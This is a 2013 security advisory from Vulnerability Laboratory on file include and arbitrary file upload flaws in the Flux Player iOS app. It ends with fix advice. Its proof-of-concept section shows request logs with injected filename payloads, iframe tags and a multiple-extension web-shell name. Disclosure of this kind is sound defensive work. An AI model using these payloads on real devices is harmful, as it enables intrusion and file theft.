318 lines
No EOL
11 KiB
Text
318 lines
No EOL
11 KiB
Text
Title:
|
||
======
|
||
Flux Player v3.1.0 iOS - File Include & Arbitrary File Upload Vulnerability
|
||
|
||
|
||
|
||
Date:
|
||
=====
|
||
2013-07-16
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=1013
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
1013
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
7.5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
With `Flux Player` you can use your iPhone, iPad or iPod touch for download, transfer and playback of movies,
|
||
audio books and music. The movies may be from transferred from commercial services, products or alternatively
|
||
from yourself by drag-and-drop with the free `Flux Transfer` PC application.
|
||
|
||
(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/flux-player/id324300572 )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered a file include & arbitrary file upload vulnerability in the Flux Player 3.1.0 (Apple iOS - iPad & iPhone).
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2013-07-16: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Apple AppStore
|
||
Product: Flux Player - Application 3.1.0
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
A file include web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone).
|
||
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.
|
||
|
||
The vulnerability is located in the upload module when processing to upload files with manipulated names via POST method. The attacker can inject
|
||
local path or files to request context and compromise the device. The validation has a bad side effect which impacts the risk to combine the attack
|
||
with persistent injected script code.
|
||
|
||
Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the
|
||
vulnerability results in unauthorized local file and path requests to compromise the device or application.
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload (Files)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing
|
||
|
||
|
||
|
||
1.2
|
||
An arbitrary file upload web vulnerability is detected in the Flux Player 3.1.0 Application (Apple iOS - iPad & iPhone).
|
||
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.
|
||
|
||
The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload
|
||
a php or js web-shells by renaming the file with multiple extensions. He uploads for example a web-shell with the following name and
|
||
extension picture.jpg.js.php.jpg . He deletes in the request after the upload the jpg to access unauthorized the malicious file (web-shell) to
|
||
compromise the web-server or mobile device.
|
||
|
||
Exploitation of the vulnerability requires no user interaction or privilege flux player application user account. Successful exploitation of the
|
||
vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
||
|
||
Vulnerable Module(s):
|
||
[+] Upload (Files)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename (multiple extensions)
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The local file include and arbitary file upload vulnerability can be exploited by remote attackers without privilege application
|
||
user account and also without user interaction. For demonstration or reproduce ...
|
||
|
||
|
||
1.1
|
||
--- Request Session Log 1 - Local File Include ---
|
||
|
||
Status: 200[OK]
|
||
|
||
POST http://localhost:8080/
|
||
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053] Mime
|
||
|
||
Type[application/x-unknown-content-type]
|
||
Request Headers:
|
||
Host[localhost:8080]
|
||
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
|
||
Post Data:
|
||
POST_DATA[-----------------------------21961286324572
|
||
Content-Disposition: form-data; name="file"; filename=<iframe src=a>"<iframe src=var/app/Mobile>"
|
||
Content-Type: image/png
|
||
-
|
||
--
|
||
Status: 200[OK]
|
||
|
||
GET http://localhost:8080/../var/app/Mobile > [Included File/Path as Filename!]
|
||
Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime Type[application/x-unknown-
|
||
|
||
content-type]
|
||
Request Headers:
|
||
Host[localhost:8080]
|
||
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
|
||
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
|
||
Response Headers:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[669]
|
||
Date[Mo., 15 Jul 2013 20:05:02 GMT]
|
||
|
||
|
||
|
||
1.2
|
||
--- Request Session Log 2 - Arbitrary File Upload ---
|
||
|
||
Status: 200[OK]
|
||
|
||
POST http://localhost:8080/
|
||
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1053] Mime
|
||
|
||
Type[application/x-unknown-content-type]
|
||
Request Headers:
|
||
Host[localhost:8080]
|
||
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
|
||
Post Data:
|
||
POST_DATA[-----------------------------21961286324572
|
||
Content-Disposition: form-data; name="file"; filename="schoko-drops-337.gif.html.php.js.jpg"
|
||
Content-Type: image/png
|
||
---
|
||
Status: 200[OK]
|
||
|
||
GET http://localhost:8080/schoko-drops-337.gif.html.php.js.jpg > [Included File/Path as Filename!]
|
||
Load Flags[LOAD_DOCUMENT_URI ] Content Size[669] Mime Type[application/x-unknown-
|
||
|
||
content-type]
|
||
Request Headers:
|
||
Host[localhost:8080]
|
||
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
||
|
||
Accept [text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
|
||
Accept-Language[en-US,en;q=0.5]
|
||
Accept-Encoding[gzip, deflate]
|
||
DNT[1]
|
||
|
||
Referer[http://localhost:8080/]
|
||
Connection[keep-alive]
|
||
|
||
Response Headers:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[669]
|
||
Date[Mo., 15 Jul 2013 20:05:05 GMT]
|
||
|
||
|
||
|
||
|
||
Note:
|
||
After the upload of the manipulated malicious file (shell or web-shell), the remote attacker is able to access the
|
||
full files by a delete of the image file extension. Its also possible to upload a file with multiple file extensions
|
||
and to access with another frame.
|
||
|
||
|
||
|
||
PoC:
|
||
|
||
<html><head><title>Files from </title><style>html {background-color:#eeeeee} body
|
||
{ background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif; font-
|
||
|
||
size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600; padding:15px; } </style></head>
|
||
<body><h1>Files from </h1><bq>The following files are hosted
|
||
|
||
live from the <strong>iPhone's</strong> Docs folder.</bq><p><a href="..">..</a><br>
|
||
<a href=".DownloadStatus">.DownloadStatus</a> ( 0.0 Kb, (null))<br>
|
||
<a href=".mpdrm">.mpdrm</a> ( 0.0 Kb, (null))<br>
|
||
<a href="<iframe src=a>">_<[File Include/Arbitrary File Upload Vulnerability!]"></a>(0.0 Kb, (null))<br />
|
||
<a href=">">BKM337></a> ( 0.0 Kb, (null))<br />
|
||
<a href="Rem0ve>">Rem0ve></a> ( 0.0 Kb, (null))<br />
|
||
<a href="a2b642e7de.jpg">a2b642e7de.jpg</a> ( 0.0 Kb, (null))<br />
|
||
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
|
||
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button"
|
||
value="Submit" /></label></form></body></html></iframe></a></p></body></html>
|
||
|
||
Note:
|
||
To exploit the issue the attacker needs to bypass the validation by an inject of 2 different scripts (tags).
|
||
After the upload the local file or path gets executed when processing to open the item listing.
|
||
|
||
|
||
Solution:
|
||
=========
|
||
1.1
|
||
The vulnerability can be patched by a secure parse of the filenames when processing to upload via POST method request.
|
||
Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars.
|
||
|
||
1.2
|
||
Restrict the input of the filenames when processing to upload a file with multiple extension.
|
||
Encode and parse the filename output listing in the index site of the application. Restrict the filename name input and disallow special chars.
|
||
Disallow to open urls with multiple file extensions to prevent execution or access to web-shells.
|
||
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the local file include web vulnerability is estimated as high.
|
||
|
||
1.2
|
||
The security risk of the arbitrary file upload vulnerability is estimated as high(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2013 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |